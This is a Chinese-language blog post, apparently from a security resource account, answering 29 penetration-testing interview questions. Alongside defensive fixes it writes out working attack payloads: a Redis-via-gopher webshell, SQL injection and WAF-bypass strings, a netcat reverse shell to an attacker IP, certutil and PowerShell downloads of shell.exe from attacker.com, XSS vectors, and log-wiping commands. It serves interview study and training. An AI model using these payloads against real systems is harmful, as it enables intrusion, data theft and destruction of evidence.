网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年渗透测试面试题总结-拷打题库08
1. Docker远程API漏洞原理
2. SSRF利用Redis写Shell
3. 预编译能否100%防SQL注入?
4. WAF绕过技术
5. SQL注入Payload构造
6. UDF提权原理
7. 提权方式
8. XSS弹窗函数及绕过策略
9. Windows CMD下载文件
10. SVN/GIT源代码泄露
11. reverse_tcp vs bind_tcp
12. Fastjson漏洞
13. 隐藏攻击痕迹
14. 常用漏洞及修复方案
15. 有趣的挖洞经历
16. PHP/Java反序列化漏洞
17. 服务器入侵后应对措施
18. 常用工具及特点
19. 绕过WAF实战(SQLi)
20. 判断SQL注入方法
21. SQL注入漏洞成因与防范
22. 宽字符注入原理
23. CRLF注入原理
24. php.ini 安全设置
25. %00截断原理
26. WebShell检测方法
27. PHP LFI漏洞利用
28. 中间件解析漏洞
29. MySQL密码存储
2025年渗透测试面试题总结-拷打题库08
docker远程api漏洞原理 ssrf怎么用redis写shell 预编译能否100%防sql注入,如果不能,写一个 WAF绕过 SQL注入构造payload UDF提权原理 提权方式 XSS弹窗函数及常见的XSS绕过策略 Windowscmd如何下载文件 SVN/GIT源代码泄露 reverse_tcp和bind_tcp的区别 什么是fastjson 隐藏攻击痕迹的方法 你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案? 介绍下自认为有趣的挖洞经历 php/java反序列化漏洞的原理?解决方案? 如果一台服务器被入侵后 你平时使用哪些工具?以及对应工具的特点? 如果遇到waf的情况下如何进?sql注入/上传Webshell怎么做?请写出曾经绕过WAF的经过(SQLi,XSS,上传漏洞选一) 如何判断sql注入,有哪些方法 如何判断SQL注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些? 为什么有的时候没有错误回显 宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造? CRLF注入的原理 php.ini可以设置哪些安全特性 php的%00截断的原理是什么 webshell检测,有哪些方法 php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的? 说说常见的中间件解析漏洞利用方式 mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式?
1. Docker远程API漏洞原理
核心原理:
- Docker Remote API默认监听2375端口,若未配置认证(
--tlsverify
),攻击者可远程操控容器。- 利用场景:
bash# 未授权创建恶意容器挂载宿主机根目录 curl -X POST -H "Content-Type: application/json" \ -d '{"Image":"alpine", "Cmd":["/bin/sh"], "HostConfig":{"Binds":["/:/host"]}}' \ http://target:2375/containers/create
防御方案:启用TLS认证,限制API访问IP。
2. SSRF利用Redis写Shell
步骤:
- 探测Redis服务:通过SSRF访问
http://127.0.0.1:6379
。- 构造HTTP协议包:
httpgopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$35%0d%0a%0d%0a%0A<?php eval($_GET[cmd]);?>%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
关键点:利用Gopher协议发送Redis命令,设置
dir
和dbfilename
写入Web目录。
3. 预编译能否100%防SQL注入?
局限性:
- 动态SQL拼接:如存储过程内使用
EXECUTE IMMEDIATE
。- 示例漏洞代码:
javaString query = "SELECT * FROM users WHERE id = " + request.getParameter("id"); PreparedStatement stmt = connection.prepareStatement(query); // 预编译无效
防御方案:禁止动态拼接,全参数化查询。
4. WAF绕过技术
常见方法:
- 编码混淆:
- URL编码:
UNION%20SELECT
→U%6eion%53elect
- 注释分割:
SEL/**/ECT 1,2,3
- 超长数据绕过:填充垃圾字符触发WAF缓存溢出。
- 分块传输:利用HTTP分块传输拆分恶意Payload。
5. SQL注入Payload构造
经典案例:
- 时间盲注:
sql' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --
- 报错注入:
sql' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y) --
6. UDF提权原理
流程:
- 编译恶意共享库(如
raptor_udf2.c
)为.so
或.dll
。- 通过
SELECT ... INTO DUMPFILE
写入插件目录。- 创建函数:
sqlCREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';
利用:
SELECT sys_exec('nc -e /bin/sh attacker_ip 4444');
7. 提权方式
系统 方式 示例 Linux SUID提权 find / -perm -4000 2>/dev/null
Windows 服务路径滥用 sc config VulnService binPath= "C:\shell.exe"
通用 内核漏洞(CVE-2021-4034) 利用Polkit提权
8. XSS弹窗函数及绕过策略
弹窗函数:
alert(1)
、prompt(1)
、confirm(document.cookie)
绕过策略:- HTML编码:
<img src=x onerror=alert(1)>
- JavaScript伪协议:
javascript:eval(atob('YWxlcnQoMSk='))
- 事件处理器:
<svg/onload=alert(1)>
9. Windows CMD下载文件
方法:
- CertUtil:
cmdcertutil -urlcache -split -f http://attacker.com/shell.exe C:\Temp\shell.exe
- PowerShell:
powershell(New-Object Net.WebClient).DownloadFile('http://attacker.com/shell.exe', 'shell.exe')
10. SVN/GIT源代码泄露
利用:
- Git:访问
/.git/index
,使用工具GitHack
还原代码。- SVN:下载
/.svn/entries
解析文件列表,恢复历史版本。
11. reverse_tcp vs bind_tcp
类型 连接方向 防火墙绕过能力 reverse_tcp 目标主动连接攻击机 绕过出站限制 bind_tcp 攻击机连接目标监听端口 需入站端口开放
12. Fastjson漏洞
原理:反序列化时自动调用
@type
指定类的setter/getter方法,攻击者构造恶意类触发RCE。
修复:升级到安全版本,禁用autoType
功能。
13. 隐藏攻击痕迹
方法:
- 日志清除:
- Linux:
shred -n 5 /var/log/auth.log
- Windows:
wevtutil cl Security
- 文件隐藏:
attrib +h +s C:\shell.exe
- 进程伪装:将恶意进程命名为
svchost.exe
。
14. 常用漏洞及修复方案
漏洞类型 原理 修复方案 SQL注入 未过滤用户输入拼接SQL 参数化查询 + 输入白名单 XSS 未编码输出用户可控数据 HTML实体转义 + CSP策略 反序列化 未校验反序列化对象 禁用危险类 + 数据签名校验
15. 有趣的挖洞经历
场景:某CMS后台编辑器存在文件上传漏洞,但后缀限制为
.jpg
。
绕过:
- 上传图片马,利用文件包含漏洞加载PHP代码。
- 构造
.htaccess
设置AddType application/x-httpd-php .jpg
。
成果:获取WebShell并横向渗透内网数据库。
16. PHP/Java反序列化漏洞
原理:反序列化过程中自动执行
__destruct()
或readObject()
方法。
修复:
- PHP:禁用
unserialize()
或限制允许类。- Java:重写
ObjectInputStream.resolveClass()
校验类名。
17. 服务器入侵后应对措施
- 隔离网络:断开网线或禁用网卡。
- 取证分析:使用
Volatility
分析内存镜像。- 漏洞修复:更新补丁,修复弱口令。
- 监控加固:部署HIDS(如Osquery)和日志审计。
18. 常用工具及特点
工具 用途 特点 Nmap 端口扫描 支持高级脚本探测服务版本 Metasploit 漏洞利用框架 模块化,集成渗透测试全流程 Sqlmap SQL注入自动化 支持多数据库,绕过WAF能力强
19. 绕过WAF实战(SQLi)
场景:某云WAF过滤
UNION SELECT
。
绕过:
- 注释混淆:
UNI/**/ON SEL/**/ECT 1,2,3
- URL编码:
%55%4e%49%4f%4e%20%53%45%4c%45%43%54
- 参数污染:
id=1&id=2 UNION SELECT 1,2,3
结果:成功获取管理员密码哈希。
20. 判断SQL注入方法
- 错误回显:输入单引号
'
触发数据库错误。- 布尔盲注:
id=1 AND 1=1
vsid=1 AND 1=2
页面差异。- 时间盲注:
id=1; IF(1=1, SLEEP(5), 0)
延迟响应。
21. SQL注入漏洞成因与防范
成因:动态拼接SQL,未过滤用户输入。
防范:
- 参数化查询(PreparedStatement)。
- 输入验证(正则白名单)。
其他利用:读取系统文件(LOAD_FILE
)、执行命令(UDF)。
22. 宽字符注入原理
场景:数据库使用GBK编码,
'
转义为\'
(%5C%27
)。
Payload:%bf%27
→%bf%5C%27
→ GBK解析为縗'
,单引号逃逸。
利用:id=%bf%27 UNION SELECT 1,2,3 --
23. CRLF注入原理
示例:
- HTTP头注入:
/search?q=test%0d%0aSet-Cookie: hacker=1
- 日志伪造:
/login?user=admin%0d%0aLogin succeeded
24. php.ini 安全设置
disable_functions = exec,system,passthru
expose_php = Off
open_basedir = /var/www
display_errors = Off
25. %00截断原理
条件:PHP <5.3.4,
magic_quotes_gpc=Off
。
利用:上传文件名shell.php%00.jpg
,截断后保存为.php
。
26. WebShell检测方法
- 静态检测:匹配
eval(
、base64_decode
等特征。- 动态监控:检测异常文件操作(如写入
/tmp
)。- 日志分析:追踪可疑HTTP POST请求。
27. PHP LFI漏洞利用
漏洞代码:
php<?php include($_GET['page']); ?>
手工测试:
?page=../../../../etc/passwd
- 无回显利用:
php?page=php://filter/convert.base64-encode/resource=config.php
28. 中间件解析漏洞
中间件 漏洞 Payload IIS 6.0 目录解析 /test.asp/logo.jpg
Apache 多后缀解析 shell.php.jpg
Nginx 路径切割( /test.jpg%20.php
)配置错误导致PHP执行
29. MySQL密码存储
- 表名:
mysql.user
- 加密方式:
mysql_native_password
(SHA1)caching_sha2_password
(SHA256,MySQL 8.0+)